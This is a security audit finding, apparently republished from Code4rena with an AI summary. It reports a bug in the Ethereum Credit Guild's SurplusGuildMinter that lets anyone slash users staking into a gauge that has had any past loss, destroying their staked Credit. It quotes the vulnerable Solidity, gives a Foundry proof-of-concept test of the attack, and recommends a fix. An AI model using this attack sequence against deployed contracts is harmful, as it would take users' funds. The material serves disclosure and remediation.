Users staking via the SurplusGuildMinter can be immediately slashed when staking into a gauge that had previously incurred a loss
The SurplusGuildMinter contract incorrectly marks a user as slashed when they stake into a gauge that has ever experienced a loss, because it compares the gauge's last loss timestamp against a freshly initialised zero value. An attacker can immediately call getRewards to slash the user, causing them to lose their staked Credit and any guild rewards.
JCN Follow with carrotsmuggler, Chinmay and 40 others
Originally disclosed on Code4rena
Submitted by JCN, also found by carrotsmuggler, Chinmay, beber89, XDZIBECX, serial-coder, Varun_05, Infect3d, stackachu, AlexCzm, 0xdice91, jasonxiale, HighDuty, imare, cats, developerjordy, 0xaltego, 0xadrii, DanielArmstrong, cccz, sl1, wangxx2026, Akali, SECURITISE, smiling_heretic, Timeless, KupiaSec, PENGUN, alexzoid, Stormreckson, 0xpiken, SweetDream, whitehat-boys, klau5, btk, 0xivas, santipu_, asui, grearlake, TheSchnilch, kaden, Inference, and ether_sky
User’s can stake into a gauge directly via the GuildToken or indirectly via the SurplusGuildMinter. When a user stakes into a new gauge (i.e. their weight goes from 0 to > 0) via GuildToken::incrementGauge, their lastGaugeLossApplied mapping for this gauge, which is how the system keeps track of whether or not the user deserves to be slashed, is set to the current timestamp:
247: uint256 _lastGaugeLoss = lastGaugeLoss[gauge];
248: uint256 _lastGaugeLossApplied = lastGaugeLossApplied[gauge][user];
249: if (getUserGaugeWeight[user][gauge] == 0) {
250: lastGaugeLossApplied[gauge][user] = block.timestamp;
251: } else {
252: require(
253: _lastGaugeLossApplied >= _lastGaugeLoss,
254: "GuildToken: pending loss"
255: );
256: }
This ensures that any loss that occurred in the gauge, before the user staked, will result in the following condition: lastGaugeLossApplied[gauge][user] > lastGaugeLoss[gauge]. This means the user staked into the gauge after the gauge experienced a loss and therefore, they can not be slashed:
133: function applyGaugeLoss(address gauge, address who) external {
134: // check preconditions
135: uint256 _lastGaugeLoss = lastGaugeLoss[gauge];
136: uint256 _lastGaugeLossApplied = lastGaugeLossApplied[gauge][who];
137: require(
138: _lastGaugeLoss != 0 && _lastGaugeLossApplied < _lastGaugeLoss,
139: "GuildToken: no loss to apply"
140: );
The above function showcases the requirements that need to be met in order for a user to be slashed: the user must have been staked in the gauge when the gauge experienced a loss in order for the user to be slashed. With this in mind, let us observe the process that occurs when users stake via the SurplusGuildMinter:
When a user stakes into a gauge via the SurpluGuildMinter::stake function the SurplusGuildMinter::getRewards function is invoked:
SurplusGuildMinter.sol#L216-L236
216: function getRewards(
217: address user,
218: address term
219: )
220: public
221: returns (
222: uint256 lastGaugeLoss, // GuildToken.lastGaugeLoss(term)
223: UserStake memory userStake, // stake state after execution of getRewards()
224: bool slashed // true if the user has been slashed
225: )
226: {
227: bool updateState;
228: lastGaugeLoss = GuildToken(guild).lastGaugeLoss(term);
229: if (lastGaugeLoss > uint256(userStake.lastGaugeLoss)) {
230: slashed = true;
231: }
232:
233: // if the user is not staking, do nothing
234: userStake = _stakes[user][term];
235: if (userStake.stakeTime == 0)
236: return (lastGaugeLoss, userStake, slashed);
As seen above, this function will retrieve the lastGaugeLoss for the specified gauge (term) the user is staking into and will identify this user as being slashed, i.e. slashed = true, if lastGaugeLoss > userStake.lastGaugeLoss. The issue lies in the fact that, at this point in the code execution, the userStake struct is a freshly initialized memory struct and therefore, all of the struct’s fields are set to 0. Thus, the check on lines 229-230 are really doing the following:
if (lastGaugeLoss > uint256(0)) {
slashed = true;
}
The above code will always set slashed to true if the specified gauge has experienced any loss in its history. Therefore, a gauge can have experienced a loss, been off-boarded, and then been re-onboarded at a future time and The SurplusGuildMinter will consider any user who stakes into this gauge to be slashed.
The code execution will then continue to lines 235-236, where the user’s stake is retrieved from storage (it is initialized to all 0’s since the user has not staked yet) and if the stakeTime field is 0 (it is), the execution returns to the GuildToken::stake function:
SurplusGuildMinter.sol#L114-L125
114: function stake(address term, uint256 amount) external whenNotPaused {
115: // apply pending rewards
116: (uint256 lastGaugeLoss, UserStake memory userStake, ) = getRewards(
117: msg.sender,
118: term
119: );
120:
121: require(
122: lastGaugeLoss != block.timestamp,
123: "SurplusGuildMinter: loss in block"
124: );
125: require(amount >= MIN_STAKE, "SurplusGuildMinter: min stake");
The above code illustrates the only validation checks that are performed in this stake function. As long as the user is not attempting to stake into a gauge in the same block that the gauge experienced a loss, and the user is staking at least 1e18, the user’s stake position will be initialized (the user will be allowed to stake their Credit):
SurplusGuildMinter.sol#L114-L125
139: userStake = UserStake({
140: stakeTime: SafeCastLib.safeCastTo48(block.timestamp),
141: lastGaugeLoss: SafeCastLib.safeCastTo48(lastGaugeLoss),
142: profitIndex: SafeCastLib.safeCastTo160(
143: ProfitManager(profitManager).userGaugeProfitIndex(
144: address(this),
145: term
146: )
147: ),
148: credit: userStake.credit + SafeCastLib.safeCastTo128(amount),
149: guild: userStake.guild + SafeCastLib.safeCastTo128(guildAmount)
150: });
151: _stakes[msg.sender][term] = userStake;
The user would naturally perform the next actions: They can call SurplusGuildMinter::getRewards when they want to receive rewards and they can call SurplusGuildMinter::unstake when they want to unstake from their position, i.e. withdraw their deposited Credit. It is important to note that when the unstake function is called, similar to the stake function, the getRewards function will first be invoked. As we previously observed, the getRewards function will consider the user slashed if the gauge had previously experienced any loss in its history. Therefore, after a user has staked, any call to getRewards will result in the following logic to execute:
SurplusGuildMinter.sol#L274-L289
274: if (slashed) {
275: emit Unstake(block.timestamp, term, uint256(userStake.credit));
276: userStake = UserStake({
277: stakeTime: uint48(0),
278: lastGaugeLoss: uint48(0),
279: profitIndex: uint160(0),
280: credit: uint128(0),
281: guild: uint128(0)
282: });
283: updateState = true;
284: }
285:
286: // store the updated stake, if needed
287: if (updateState) {
288: _stakes[user][term] = userStake;
289: }
As we can see above, when a user calls getRewards or unstake after staking into a gauge that has experienced a loss sometime in its history, the user’s stake position will be deleted (slashed). If the user is attempting to unstake then the execution flow will continue in the unstake function:
SurplusGuildMinter.sol#L158-L166C25
158: function unstake(address term, uint256 amount) external {
159: // apply pending rewards
160: (, UserStake memory userStake, bool slashed) = getRewards(
161: msg.sender,
162: term
163: );
164:
165: // if the user has been slashed, there is nothing to do
166: if (slashed) return;
Since the user has been considered slashed, the execution will return on line 166 and the user will not be allowed to withdraw their staked Credit.
I would also like to note that the user will still have a chance to receive some earned Credit after the gauge experiences a profit. However, since the user is considered slashed, they will not be given any guild rewards:
SurplusGuildMinter.sol#L247-L264
247: uint256 deltaIndex = _profitIndex - _userProfitIndex;
248:
249: if (deltaIndex != 0) {
250: uint256 creditReward = (uint256(userStake.guild) * deltaIndex) /
251: 1e18;
252: uint256 guildReward = (creditReward * rewardRatio) / 1e18;
253: if (slashed) {
254: guildReward = 0;
255: }
256:
257: // forward rewards to user
258: if (guildReward != 0) {
259: RateLimitedMinter(rlgm).mint(user, guildReward);
260: emit GuildReward(block.timestamp, user, guildReward);
261: }
262: if (creditReward != 0) {
263: CreditToken(credit).transfer(user, creditReward);
264: }
As seen above, if the user is eligible to claim rewards (the gauge they staked into has experienced a profit), then they will be sent creditReward of Credit. However, since they are considered slashed, their guildReward is set to 0. This scenario will only occur if no one calls getReward for this user before the gauge generates a profit. If any call to getReward for this user is invoked before that, the user will not be able to receive any rewards and in both situations they will lose their staked Credit.
An additional, lesser effect, is that the Guild which was minted on behalf of the user who staked will not be unstaked from the gauge, it will not be burned, and the RateLimitedGuildMinter’s buffer will not be replenished. I.e. the following code from the unstake function will not execute:
SurplusGuildMinter.sol#L205-L208
205: // burn GUILD
206: GuildToken(guild).decrementGauge(term, guildAmount);
207: RateLimitedMinter(rlgm).replenishBuffer(guildAmount);
208: GuildToken(guild).burn(guildAmount);
Impact
User’s utilizing the SurplusGuildMinter to stake into a gauge, which has previously experienced a loss sometime in its history, can be immediately slashed. This will result in the user losing out on any guild rewards (if they were staked into the gauge while it experienced a profit), but most importantly this will result in the user losing their staked principle (Credit).
To further illustrate the impact of this vulnerability, lets consider the following scenario:
A gauge experiences a loss. The gauge is then off-boarded. The gauge is re-onboarded in the future. A user stakes into this gauge via the SurplusGuildMinter. A malicious actor immediately calls getRewards(gauge, user) and the user is slashed and loses their staked Credit.
Proof of Concept
The following test describes the main impact highlighted above, in which a user stakes into a previously lossy gauge and is immediately slashed:
Place the following test inside of test/unit/loan/SurplusGuildMinter.t.sol:
function testUserImmediatelySlashed() public {
// initial state
assertEq(guild.getGaugeWeight(term), 50e18);
// add credit to surplus buffer
credit.mint(address(this), 100e18);
credit.approve(address(profitManager), 50e18);
profitManager.donateToSurplusBuffer(50e18);
// term incurs loss
profitManager.notifyPnL(term, -50e18);
assertEq(guild.lastGaugeLoss(term), block.timestamp);
// term offboarded
guild.removeGauge(term);
assertEq(guild.isGauge(term), false);
// time passes and term is re-onboarded
vm.roll(block.number + 100);
vm.warp(block.timestamp + (100 * 13));
guild.addGauge(1, term);
assertEq(guild.isGauge(term), true);
// user stakes into term directly
address user = address(0x01010101);
guild.mint(user, 10e18);
vm.startPrank(user);
guild.incrementGauge(term, 10e18);
vm.stopPrank();
// user can un-stake from term
vm.startPrank(user);
guild.decrementGauge(term, 10e18);
vm.stopPrank();
// user stakes into term via sgm
credit.mint(user, 10e18);
vm.startPrank(user);
credit.approve(address(sgm), 10e18);
sgm.stake(term, 10e18);
vm.stopPrank();
// check after-stake state
assertEq(credit.balanceOf(user), 0);
assertEq(profitManager.termSurplusBuffer(term), 10e18);
assertEq(guild.getGaugeWeight(term), 70e18);
SurplusGuildMinter.UserStake memory userStake = sgm.getUserStake(user, term);
assertEq(uint256(userStake.stakeTime), block.timestamp);
assertEq(userStake.lastGaugeLoss, guild.lastGaugeLoss(term));
assertEq(userStake.profitIndex, 0);
assertEq(userStake.credit, 10e18);
assertEq(userStake.guild, 20e18);
// malicious actor is aware of bug and slashes the user's stake immediately, despite no loss occurring in the gauge
sgm.getRewards(user, term);
// check after-getReward state (user was slashed even though no loss has occurred since term was re-onboarded)
assertEq(credit.balanceOf(user), 0);
assertEq(profitManager.termSurplusBuffer(term), 10e18);
assertEq(guild.getGaugeWeight(term), 70e18);
userStake = sgm.getUserStake(user, term);
assertEq(uint256(userStake.stakeTime), 0);
assertEq(userStake.lastGaugeLoss, 0);
assertEq(userStake.profitIndex, 0);
assertEq(userStake.credit, 0);
assertEq(userStake.guild, 0);
// user tries to unstake but will not receive anything
uint256 userBalanceBefore = credit.balanceOf(user);
vm.startPrank(user);
sgm.unstake(term, 10e18);
vm.stopPrank();
uint256 userAfterBalance = credit.balanceOf(user);
assertEq(userBalanceBefore, 0);
assertEq(userAfterBalance, 0);
}
Recommended Mitigation Steps
Similar to how the GuildToken::incrementGauge function initializes a user’s lastGaugeLossApplied value, the SurplusGuildMinter should initialize a user’s userStake.lastGaugeLoss to block.timestamp. It should then compare the lastGaugeLoss to the user’s stored userStake.lastGaugeLoss instead of comparing the lastGaugeLoss to a freshly initialized userStake memory struct, whose fields are all 0.
eswak (Ethereum Credit Guild) confirmed via duplicate issue #1164
Note: For full discussion, see here.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The getRewards function compares the gauge's last loss timestamp to a freshly initialised memory struct with zero values, instead of the user's stored lastGaugeLoss, so any historical loss causes slashed to be true.
Impact
Users staking into a previously lossy gauge can be immediately slashed, losing their staked Credit and any guild rewards; the Guild minted on their behalf is also not unstaked or burned.
What the attacker needed
Gauge has experienced a loss in its history; user stakes via SurplusGuildMinter; attacker can call getRewards
The fix
The SurplusGuildMinter should initialise userStake.lastGaugeLoss to block.timestamp when a user first stakes, and compare the gauge's lastGaugeLoss to the user's stored value instead of a zeroed struct.
How it was found
- A gauge experiences a loss and is off-boarded.
- The gauge is re-onboarded later.
- A user stakes into the gauge via SurplusGuildMinter.
- A malicious actor calls getRewards for that user, marking them as slashed.
- The user's stake is deleted and they cannot unstake to recover their Credit.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you stake tokens through a helper contract, the contract checks if the gauge (a staking pool) had a loss before you joined. If it did, you should not be punished for that old loss. But a bug makes the contract think you were present during that old loss, so it marks you as slashed and takes your staked tokens. Anyone can trigger this by calling a reward function on your behalf.
What is Smart contracts?
Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.